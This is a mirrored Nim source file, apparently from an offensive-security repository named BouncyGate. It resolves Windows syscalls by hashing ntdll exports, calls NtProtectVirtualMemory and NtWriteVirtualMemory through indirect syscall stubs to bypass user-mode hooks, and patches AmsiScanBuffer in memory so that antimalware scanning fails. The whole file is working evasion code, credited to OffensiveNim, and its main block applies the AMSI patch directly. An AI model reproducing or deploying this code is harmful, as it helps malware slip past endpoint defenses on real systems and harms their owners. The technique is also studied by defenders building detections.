mirror of
https://github.com/eversinc33/BouncyGate
synced 2026-06-08 14:08:25 +00:00
223 lines
7.8 KiB
Nim
223 lines
7.8 KiB
Nim
include custom
|
|
import strutils
|
|
import os
|
|
import std/dynlib
|
|
import ptr_math
|
|
|
|
# encode strings at compile time
|
|
# import strenc
|
|
|
|
{.passC:"-masm=intel".}
|
|
|
|
var
|
|
currentPeb: PPEB
|
|
ntProtectSyscall*: WORD
|
|
ntWriteSyscall*: WORD
|
|
ntProtectSyscallJumpAddress: ByteAddress
|
|
ntWriteSyscallJumpAddress: ByteAddress
|
|
|
|
type
|
|
HG_TABLE_ENTRY* = object
|
|
pAddress*: PVOID
|
|
dwHash*: uint64
|
|
wSysCall*: WORD
|
|
syscallJumpAddress: ByteAddress
|
|
|
|
PHG_TABLE_ENTRY* = ptr HG_TABLE_ENTRY
|
|
|
|
proc djb2_hash*(pFuncName: string): uint64 =
|
|
var hash: uint64 = 0x5381
|
|
for c in pFuncName:
|
|
hash = ((hash shl 0x05) + hash) + cast[uint64](ord(c))
|
|
return hash
|
|
|
|
proc moduleToBuffer*(pCurrentModule: PLDR_DATA_TABLE_ENTRY): PWSTR =
|
|
return pCurrentModule.FullDllName.Buffer
|
|
|
|
proc flinkToModule*(pCurrentFlink: LIST_ENTRY): PLDR_DATA_TABLE_ENTRY =
|
|
return cast[PLDR_DATA_TABLE_ENTRY](cast[ByteAddress](pCurrentFlink) - 0x10)
|
|
|
|
proc getExportTable*(pCurrentModule: PLDR_DATA_TABLE_ENTRY, pExportTable: var PIMAGE_EXPORT_DIRECTORY): bool =
|
|
let
|
|
pImageBase: PVOID = pCurrentModule.DLLBase
|
|
pDosHeader: PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](pImageBase)
|
|
pNTHeader: PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[ByteAddress](pDosHeader) + pDosHeader.e_lfanew)
|
|
|
|
if pDosheader.e_magic != IMAGE_DOS_SIGNATURE:
|
|
return false
|
|
|
|
if pNTHeader.Signature != cast[DWORD](IMAGE_NT_SIGNATURE):
|
|
return false
|
|
|
|
pExportTable = cast[PIMAGE_EXPORT_DIRECTORY](cast[ByteAddress](pImageBase) + pNTHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
|
|
|
|
return true
|
|
|
|
proc getTableEntry*(pImageBase: PVOID, pCurrentExportDirectory: PIMAGE_EXPORT_DIRECTORY, tableEntry: var HG_TABLE_ENTRY): bool =
|
|
## Resolve syscall by API hashing
|
|
var
|
|
cx: DWORD = 0
|
|
numFuncs: DWORD = pCurrentExportDirectory.NumberOfNames
|
|
let
|
|
pAddrOfFunctions: ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfFunctions)
|
|
pAddrOfNames: ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNames)
|
|
pAddrOfOrdinals: ptr UncheckedArray[WORD] = cast[ptr UncheckedArray[WORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNameOrdinals)
|
|
|
|
var foundFuncAddr: PVOID
|
|
while cx < numFuncs:
|
|
var
|
|
pFuncOrdinal: WORD = pAddrOfOrdinals[cx]
|
|
pFuncName: string = $(cast[PCHAR](cast[ByteAddress](pImageBase) + pAddrOfNames[cx]))
|
|
funcHash: uint64 = djb2_hash(pFuncName)
|
|
funcRVA: DWORD64 = pAddrOfFunctions[pFuncOrdinal]
|
|
pFuncAddr: PVOID = cast[PVOID](cast[ByteAddress](pImageBase) + funcRVA)
|
|
|
|
if funcHash == tableEntry.dwHash:
|
|
tableEntry.pAddress = pFuncAddr
|
|
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3)[] == 0xB8:
|
|
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4)[]
|
|
echo "[*] Found syscall"
|
|
foundFuncAddr = pFuncAddr
|
|
break
|
|
|
|
cx = cx + 1
|
|
|
|
if cx >= numFuncs:
|
|
echo "[!] Could not find syscall"
|
|
quit(1)
|
|
|
|
# resolve syscall instruction address to jump to
|
|
echo "[*] Resolving syscall jump addr..."
|
|
echo "[*] Base search address: " & $cast[int](foundFuncAddr)
|
|
var offset: UINT = 0
|
|
while true:
|
|
var currByte = cast[PDWORD](foundFuncAddr + offset)[]
|
|
if "050F0375" in $currByte.toHex:
|
|
echo "[*] Found corresponding syscall instruction in ntdll addr " & $cast[ByteAddress](foundFuncAddr + offset).toHex & ": " & $currByte.toHex
|
|
tableEntry.syscallJumpAddress = cast[ByteAddress](foundFuncAddr + offset) + sizeof(WORD)
|
|
return true
|
|
offset = offset + 1
|
|
|
|
return false
|
|
|
|
proc GetPEBAsm64*(): PPEB {.asmNoStackFrame.} =
|
|
asm """
|
|
mov rax, qword ptr gs:[0x60]
|
|
ret
|
|
"""
|
|
|
|
proc getNextModule*(flink: var LIST_ENTRY): PLDR_DATA_TABLE_ENTRY =
|
|
flink = flink.Flink[]
|
|
return flinkToModule(flink)
|
|
|
|
proc searchLoadedModules*(tableEntry: var HG_TABLE_ENTRY): bool =
|
|
var
|
|
currFlink: LIST_ENTRY = currentPeb.Ldr.InMemoryOrderModuleList.Flink[]
|
|
currModule: PLDR_DATA_TABLE_ENTRY = flinkToModule(currFlink)
|
|
moduleName: string
|
|
pExportTable: PIMAGE_EXPORT_DIRECTORY
|
|
let
|
|
beginModule = currModule
|
|
|
|
while true:
|
|
moduleName = $moduleToBuffer(currModule)
|
|
echo "[*] in module " & moduleName
|
|
|
|
if moduleName.len() == 0 or moduleName in paramStr(0):
|
|
currModule = getNextModule(currFlink)
|
|
if beginModule == currModule:
|
|
break
|
|
continue
|
|
|
|
if "ntdll" in moduleName.toLower():
|
|
if not getExportTable(currModule, pExportTable):
|
|
echo "[-] Failed to get export table..."
|
|
return false
|
|
|
|
if getTableEntry(currModule.DLLBase, pExportTable, tableEntry):
|
|
return true
|
|
|
|
currModule = getNextModule(currFlink)
|
|
if beginModule == currModule:
|
|
break
|
|
return false
|
|
|
|
proc getSyscall(tableEntry: var HG_TABLE_ENTRY): bool =
|
|
if not searchLoadedModules(tableEntry):
|
|
return false
|
|
|
|
return true
|
|
|
|
proc resolve_syscall*(syscall_name: string): HG_TABLE_ENTRY =
|
|
var hash: uint64 = djb2_hash(syscall_name)
|
|
var sC: HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash: hash)
|
|
if not getSyscall(sC):
|
|
echo "[!] Error getting syscall: " & $syscall_name
|
|
quit(1)
|
|
return sC
|
|
|
|
proc NtProtectVirtualMemory(ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov r10, rcx
|
|
mov eax, `ntProtectSyscall`
|
|
mov r11, `ntProtectSyscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
"""
|
|
|
|
proc NtWriteVirtualMemory(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: ULONG, NumberOfBytesWritten: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov r10, rcx
|
|
mov eax, `ntWriteSyscall`
|
|
mov r11, `ntWriteSyscallJumpAddress`
|
|
jmp r11
|
|
ret
|
|
"""
|
|
|
|
when isMainModule:
|
|
currentPeb = GetPEBAsm64()
|
|
|
|
let ntProtect = resolve_syscall("NtProtectVirtualMemory")
|
|
ntProtectSyscall = ntProtect.wSysCall
|
|
ntProtectSyscallJumpAddress = ntProtect.syscallJumpAddress
|
|
let ntWrite = resolve_syscall("NtWriteVirtualMemory")
|
|
ntWriteSyscall = ntWrite.wSysCall
|
|
ntWriteSyscallJumpAddress = ntWrite.syscallJumpAddress
|
|
|
|
# https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
|
|
when defined amd64:
|
|
echo "[*] Running in x64 process"
|
|
const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
|
|
elif defined i386:
|
|
{.error: "[!] x86 not supported!" }
|
|
|
|
var
|
|
amsi: LibHandle
|
|
cs: pointer
|
|
op: ULONG
|
|
t: DWORD
|
|
|
|
echo "[*] loading amsi"
|
|
amsi = loadLib("amsi")
|
|
if isNil(amsi):
|
|
echo "[!] Failed to load amsi.dll"
|
|
quit(1)
|
|
|
|
cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
|
|
if isNil(cs):
|
|
echo "[!] Failed to get the address of 'AmsiScanBuffer'"
|
|
quit(1)
|
|
|
|
var p_len = cast[ULONG](patch.len)
|
|
var cs_addr = cs
|
|
var status = NtProtectVirtualMemory(GetCurrentProcess(), &cs_addr, &p_len, cast[ULONG](PAGE_EXECUTE_READWRITE), &op)
|
|
if status == 0:
|
|
echo "[*] Applying patch"
|
|
|
|
var bytesWritten: ULONG
|
|
var ret = NtWriteVirtualMemory(GetCurrentProcess(), cs, unsafeAddr patch, patch.len, addr bytesWritten)
|
|
|
|
discard NtProtectVirtualMemory(GetCurrentProcess(), &cs_addr, &p_len, op, &t)
|
|
else:
|
|
echo "[!] Failed running ntprotectvirtualmemory: " & $status
|